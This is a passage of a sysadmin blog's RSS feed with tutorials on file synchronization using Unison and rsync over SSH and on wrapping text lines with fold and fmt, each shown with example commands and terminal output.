total 12<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file1.txt<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file2.txt<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file3.txt<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file4.txt</code></p></blockquote>
<p>The first time you run Unison for this particular directory structure, both sides will create a local index and hash table.  You&#8217;ll get a warning and will be prompted with a message, asking you to hit the space bar if you accept.  If the root directory on the remote side does not exist yet, you&#8217;ll also be prompted to accept the changes.</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
Contacting server...<br />
Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs]<br />
Looking for changes<br />
Warning: No archive files were found for these roots, whose canonical names are:<br />
	/home/gmendoza/MyDocs<br />
	//host2//home/gmendoza/MyDocs<br />
<em>(snipped for brevity...)</em><br />
Press return to continue.[<strong><spc></strong>]    Waiting for changes from server<br />
Reconciling changes</code></p>
<p><code>local          host2<br />
dir      ---->            /  [<strong>f</strong>] </code></p>
<p><code>Proceed with propagating updates? [] <strong>y</strong><br />
Propagating updates</code></p>
<p><code>UNISON 2.27.57 started propagating changes at 16:14:30 on 09 Apr 2009<br />
[BGN] Copying  from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[END] Copying<br />
UNISON 2.27.57 finished propagating changes at 16:14:30 on 09 Apr 2009</code></p>
<p><code>Saving synchronizer state<br />
Synchronization complete  (1 item transferred, 0 skipped, 0 failures)</code></p></blockquote>
<p>Subsequent synchronizations are shown as the following.</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
Contacting server...<br />
Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs]<br />
Looking for changes<br />
  Waiting for changes from server<br />
Reconciling changes<br />
Nothing to do: replicas have not changed since last sync.</code></p></blockquote>
<p>For the following example, I have modified file1.txt on host1, and file2.txt on host2.  Both file3.txt and file4.txt have been modified on each side.  The great thing about <em>unison</em> is that when there is a conflict, you have the opportunity to view the differences and select which direction you wish to synchronize.  Pressing the &#8220;x&#8221; key displays some basic information about the files that differ.  In this case, I have chosen the files with the most recent timestamp.  You choose the file direction by pressing the greater and less-than symbols, &#8220;>&#8221; and &#8220;<".</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
(snipped)<br />
local          host2<br />
changed  <-?-> changed    file3.txt  [] <strong>x</strong><br />
local        : changed file       modified on 2009-04-09 at 16:16:29  size 50<br />
host2  : changed file       modified on <strong>2009-04-09 at 16:16:43</strong>  size 55<br />
changed  <==== changed    file3.txt  [] <strong><</strong><br />
changed  <-?-> changed    file4.txt  [] <strong>x</strong><br />
local        : changed file       modified on <strong>2009-04-09 at 16:17:20</strong>  size 56<br />
host2  : changed file       modified on 2009-04-09 at 16:16:59  size 41<br />
changed  ====> changed    file4.txt  [] <strong>></strong><br />
changed  ---->            file1.txt  [<strong>f</strong>]<br />
         <---- changed    file2.txt  [<strong>f</strong>] </code></p>
<p><code>Proceed with propagating updates? [] <strong>y</strong><br />
Propagating updates</code></p>
<p><code>UNISON 2.27.57 started propagating changes at 16:18:27 on 09 Apr 2009<br />
[BGN] Updating file file3.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs<br />
[BGN] Updating file file4.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[BGN] Updating file file1.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[BGN] Updating file file2.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs<br />
[END] Updating file file3.txt<br />
[END] Updating file file2.txt<br />
[END] Updating file file4.txt<br />
[END] Updating file file1.txt<br />
UNISON 2.27.57 finished propagating changes at 16:18:27 on 09 Apr 2009</code></p>
<p><code>Saving synchronizer state<br />
Synchronization complete  (4 items transferred, 0 skipped, 0 failures)</code></p></blockquote>
<p>Unison also has a GTK front end for the graphically inclined.  Be sure to check out all the documentation for a full understanding of syntax.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;t=File%20Synchronization%20with%20Unison%20over%20SSH" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=File%20Synchronization%20with%20Unison%20over%20SSH%20-%20http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;title=File%20Synchronization%20with%20Unison%20over%20SSH&amp;notes=Previously%2C%20I%20posted%20on%20using%20rsync%20over%20SSH%20for%20file%20synchronization.%20%20While%20this%20works%20very%20well%20when%20pushing%20data%20in%20one%20direction%2C%20it%27s%20not%20well%20suited%20for%20synchronizing%20modifications%20that%20are%20made%20on%20both%20sides.%20%20An%20excellent%20bidirectional%20utili" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;title=File%20Synchronization%20with%20Unison%20over%20SSH&amp;bodytext=Previously%2C%20I%20posted%20on%20using%20rsync%20over%20SSH%20for%20file%20synchronization.%20%20While%20this%20works%20very%20well%20when%20pushing%20data%20in%20one%20direction%2C%20it%27s%20not%20well%20suited%20for%20synchronizing%20modifications%20that%20are%20made%20on%20both%20sides.%20%20An%20excellent%20bidirectional%20utili" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=File%20Synchronization%20with%20Unison%20over%20SSH&amp;body=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;title=File%20Synchronization%20with%20Unison%20over%20SSH&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Previously%2C%20I%20posted%20on%20using%20rsync%20over%20SSH%20for%20file%20synchronization.%20%20While%20this%20works%20very%20well%20when%20pushing%20data%20in%20one%20direction%2C%20it%27s%20not%20well%20suited%20for%20synchronizing%20modifications%20that%20are%20made%20on%20both%20sides.%20%20An%20excellent%20bidirectional%20utili" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;title=File%20Synchronization%20with%20Unison%20over%20SSH&amp;annotation=Previously%2C%20I%20posted%20on%20using%20rsync%20over%20SSH%20for%20file%20synchronization.%20%20While%20this%20works%20very%20well%20when%20pushing%20data%20in%20one%20direction%2C%20it%27s%20not%20well%20suited%20for%20synchronizing%20modifications%20that%20are%20made%20on%20both%20sides.%20%20An%20excellent%20bidirectional%20utili" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-unison-over-ssh%2F&amp;title=File%20Synchronization%20with%20Unison%20over%20SSH" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/' rel='bookmark' title='Permanent Link: File Synchronization with Rsync over SSH'>File Synchronization with Rsync over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Permanent Link: Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>File Synchronization with Rsync over SSH</title>
		<link>http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/</link>
		<comments>http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 06:46:07 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=308</guid>
		<description><![CDATA[To quickly synchronize files between two systems, rsync is an excellent tool that not only decreases the amount of time it takes to transfer files through a data deduplication algorithm, but can also be used transparently over SSH. The beauty of running rsync over SSH is that it does not require the rsyncd server to [...]


Related posts:<ol><li><a href='http://savvyadmin.com/file-synchronization-with-unison-over-ssh/' rel='bookmark' title='Permanent Link: File Synchronization with Unison over SSH'>File Synchronization with Unison over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Permanent Link: Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>To quickly synchronize files between two systems, rsync is an excellent tool that not only decreases the amount of time it takes to transfer files through a data deduplication algorithm, but can also be used transparently over SSH.  The beauty of running rsync over SSH is that it does not require the rsyncd server to be running before a synchronization request and the connection is both authenticated and encrypted.  All that is required is for the remote host you are connecting to be running the OpenSSH server component and of course the rsync application.</p>
<p>I use rsync the most for synchronizing my &#8220;<em>Music</em>&#8221; and &#8220;<em>Documents</em>&#8221; folders between a number of my systems at home and at work.  All of these systems have these folders in the root of my home directory.</p>
<blockquote><pre><strong>ls -ld ~/Music ~/Documents</strong>
drwxr-xr-x 16 gmendoza gmendoza 4096 2009-04-06 23:23 /home/gmendoza/Documents
drwxr-xr-x  9 gmendoza gmendoza 4096 2009-04-06 23:23 /home/gmendoza/Music</pre>
</blockquote>
<p>To push my recent changes from my local system (host1) to my remote system called (host2), I use the following commands.</p>
<blockquote><pre><strong>rsync -avPe ssh ~/Music host2:~/
rsync -avPe ssh ~/Documents host2:~/</strong></pre>
</blockquote>
<p>Notice, &#8220;Music&#8221; and &#8220;Documents&#8221; are specified without a trailing &#8220;/&#8221;, e.g. &#8220;Music/&#8221; or &#8220;Documents/&#8221;.  This is important, because otherwise, it would copy only the <em>contents</em> of the folder to the remote home directory, and not the folder itself, which is described in more detail in the rsync man page.</p>
<p>Instead of running the above commands twice, you can also specify multiple files all in a single line.</p>
<blockquote><pre><strong>rsync -avPe ssh ~/Music ~/Documents host2:~/</strong></pre>
</blockquote>
<p>To synchronize changes made on the remote system to my local system, just reverse the commands.  Notice the periods at the end of the line, which specifies the destination as the local working directory.  Also, instead of wasting space by entering the host twice, you can use standard syntax to specify ranges or sets of files.  In this case, I use curly brackets to specify the two directories on the remote host that share the same parent directory should be copied to my local working directory.</p>
<blockquote><pre><strong>rsync -avPe ssh host2:~/{Music,Documents} .</strong></pre>
</blockquote>
<p>I&#8217;ll also use the &#8220;delete&#8221; option to remove any files and folders the have been removed from the source system.</p>
<blockquote><pre><strong>rsync --delete -avPe ssh ~/Music host2:~/</strong></pre>
</blockquote>
<p>By default, rsync compares files extremely fast using a &#8220;quick check&#8221; algorithm based on the file size or in the last modified time (per the rsync man page).  While I was updating my Music collection, I noticed that rsync was not detecting my ID3 tag modifications.  By using the &#8220;-c&#8221; option, rsync will compare files using a 128 bit MD4 checksum as a more definitive change detection method.  While this will slow the process down significantly, there&#8217;s obvious accuracy benefits in using the checksum method.</p>
<blockquote><pre><strong>rsync -acvPe ssh Music host2:~/</strong></pre>
</blockquote>
<p>Also, as you may have noticed rsync is strictly a unidirectional utility.  This means that it only sends or receives data in a<em> single direction</em>, and it will clobber or delete any file or folder with the same name in the direction your are sending the data.  For a great bidirectional utility, check out <em>unison</em>, which I will cover in an upcoming article.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;t=File%20Synchronization%20with%20Rsync%20over%20SSH" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=File%20Synchronization%20with%20Rsync%20over%20SSH%20-%20http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;title=File%20Synchronization%20with%20Rsync%20over%20SSH&amp;notes=To%20quickly%20synchronize%20files%20between%20two%20systems%2C%20rsync%20is%20an%20excellent%20tool%20that%20not%20only%20decreases%20the%20amount%20of%20time%20it%20takes%20to%20transfer%20files%20through%20a%20data%20deduplication%20algorithm%2C%20but%20can%20also%20be%20used%20transparently%20over%20SSH.%20%20The%20beauty%20of%20run" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;title=File%20Synchronization%20with%20Rsync%20over%20SSH&amp;bodytext=To%20quickly%20synchronize%20files%20between%20two%20systems%2C%20rsync%20is%20an%20excellent%20tool%20that%20not%20only%20decreases%20the%20amount%20of%20time%20it%20takes%20to%20transfer%20files%20through%20a%20data%20deduplication%20algorithm%2C%20but%20can%20also%20be%20used%20transparently%20over%20SSH.%20%20The%20beauty%20of%20run" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=File%20Synchronization%20with%20Rsync%20over%20SSH&amp;body=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;title=File%20Synchronization%20with%20Rsync%20over%20SSH&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=To%20quickly%20synchronize%20files%20between%20two%20systems%2C%20rsync%20is%20an%20excellent%20tool%20that%20not%20only%20decreases%20the%20amount%20of%20time%20it%20takes%20to%20transfer%20files%20through%20a%20data%20deduplication%20algorithm%2C%20but%20can%20also%20be%20used%20transparently%20over%20SSH.%20%20The%20beauty%20of%20run" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;title=File%20Synchronization%20with%20Rsync%20over%20SSH&amp;annotation=To%20quickly%20synchronize%20files%20between%20two%20systems%2C%20rsync%20is%20an%20excellent%20tool%20that%20not%20only%20decreases%20the%20amount%20of%20time%20it%20takes%20to%20transfer%20files%20through%20a%20data%20deduplication%20algorithm%2C%20but%20can%20also%20be%20used%20transparently%20over%20SSH.%20%20The%20beauty%20of%20run" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Ffile-synchronization-with-rsync-over-ssh%2F&amp;title=File%20Synchronization%20with%20Rsync%20over%20SSH" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/file-synchronization-with-unison-over-ssh/' rel='bookmark' title='Permanent Link: File Synchronization with Unison over SSH'>File Synchronization with Unison over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Permanent Link: Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Line wrapping text made easy with fold</title>
		<link>http://savvyadmin.com/line-wrapping-text-made-easy-with-fold/</link>
		<comments>http://savvyadmin.com/line-wrapping-text-made-easy-with-fold/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 04:37:08 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=300</guid>
		<description><![CDATA[Line wrapping text from the command line is easy with the fold utility, which of course is provided by the Free Software Foundation.  By default, the fold command will wrap text at 80 characters, but you can of course specify the width manually.  I prefer using the -s option, which will break only on spaces, [...]


Related posts:<ol><li><a href='http://savvyadmin.com/rename-files-in-bulk-from-the-command-line/' rel='bookmark' title='Permanent Link: Rename Files in Bulk from the Command Line'>Rename Files in Bulk from the Command Line</a></li>
<li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Permanent Link: Grep in Color'>Grep in Color</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Line wrapping text from the command line is easy with the <em>fold</em> utility, which of course is provided by the Free Software Foundation.  By default, the <em>fold</em> command will wrap text at 80 characters, but you can of course specify the width manually.  I prefer using the -s option, which will break only on spaces, making sure not to break in the middle of a word.</p>
<p>For example, the following command will concatenate a text file to standard output, adding line breaks  only at spaces or at 72 characters, whichever comes first.</p>
<blockquote><pre><strong>fold -s -w 72 textfile.txt</strong></pre>
</blockquote>
<p>This can also be useful if you want to clearsign a message with Gnupg, but wish to line wrap it beforehand.</p>
<blockquote><pre><strong>fold -s -w 72 textfile.txt | gpg --clearsign -u user@email.com</strong></pre>
</blockquote>
<p>Add redirection if you wish to output the results to a file.</p>
<blockquote><pre><strong>fold -s -w 72 textfile.txt > newfile.txt</strong></pre>
</blockquote>
<p>As mentioned <a href="http://www.linuxquestions.org/questions/linux-newbie-8/simulating-word-wrap-with-probably-sed-551488/#post3510488" target="_blank">here</a>, the <em>fmt</em> command also provides the same primary features of <em>fold</em>, but is much better.  Not only does it wrap long lines, but it also fills out short lines as well.  There are additional options that are worth looking into.  Be sure to check out the man page!</p>
<blockquote><pre><strong>man fmt</strong></pre>
</blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;t=Line%20wrapping%20text%20made%20easy%20with%20fold" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Line%20wrapping%20text%20made%20easy%20with%20fold%20-%20http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;title=Line%20wrapping%20text%20made%20easy%20with%20fold&amp;notes=Line%20wrapping%20text%20from%20the%20command%20line%20is%20easy%20with%20the%20fold%20utility%2C%20which%20of%20course%20is%20provided%20by%20the%20Free%20Software%20Foundation.%C2%A0%20By%20default%2C%20the%20fold%20command%20will%20wrap%20text%20at%2080%20characters%2C%20but%20you%20can%20of%20course%20specify%20the%20width%20manually.%C2%A0%20I" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;title=Line%20wrapping%20text%20made%20easy%20with%20fold&amp;bodytext=Line%20wrapping%20text%20from%20the%20command%20line%20is%20easy%20with%20the%20fold%20utility%2C%20which%20of%20course%20is%20provided%20by%20the%20Free%20Software%20Foundation.%C2%A0%20By%20default%2C%20the%20fold%20command%20will%20wrap%20text%20at%2080%20characters%2C%20but%20you%20can%20of%20course%20specify%20the%20width%20manually.%C2%A0%20I" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Line%20wrapping%20text%20made%20easy%20with%20fold&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;title=Line%20wrapping%20text%20made%20easy%20with%20fold&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Line%20wrapping%20text%20from%20the%20command%20line%20is%20easy%20with%20the%20fold%20utility%2C%20which%20of%20course%20is%20provided%20by%20the%20Free%20Software%20Foundation.%C2%A0%20By%20default%2C%20the%20fold%20command%20will%20wrap%20text%20at%2080%20characters%2C%20but%20you%20can%20of%20course%20specify%20the%20width%20manually.%C2%A0%20I" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;title=Line%20wrapping%20text%20made%20easy%20with%20fold&amp;annotation=Line%20wrapping%20text%20from%20the%20command%20line%20is%20easy%20with%20the%20fold%20utility%2C%20which%20of%20course%20is%20provided%20by%20the%20Free%20Software%20Foundation.%C2%A0%20By%20default%2C%20the%20fold%20command%20will%20wrap%20text%20at%2080%20characters%2C%20but%20you%20can%20of%20course%20specify%20the%20width%20manually.%C2%A0%20I" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fline-wrapping-text-made-easy-with-fold%2F&amp;title=Line%20wrapping%20text%20made%20easy%20with%20fold" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/rename-files-in-bulk-from-the-command-line/' rel='bookmark' title='Permanent Link: Rename Files in Bulk from the Command Line'>Rename Files in Bulk from the Command Line</a></li>
<li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Permanent Link: Grep in Color'>Grep in Color</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/line-wrapping-text-made-easy-with-fold/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</title>
		<link>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/</link>
		<comments>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 01:17:42 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=288</guid>
		<description><![CDATA[When backing up data to a CD or DVD, you may find it useful to encrypt the entire disc just in case the media falls into the wrong hands. Some people may advise compressing your files within tar/gzip archive and use PGP to encrypt the data, burning the resulting data to disc. The challenge, however, [...]


Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
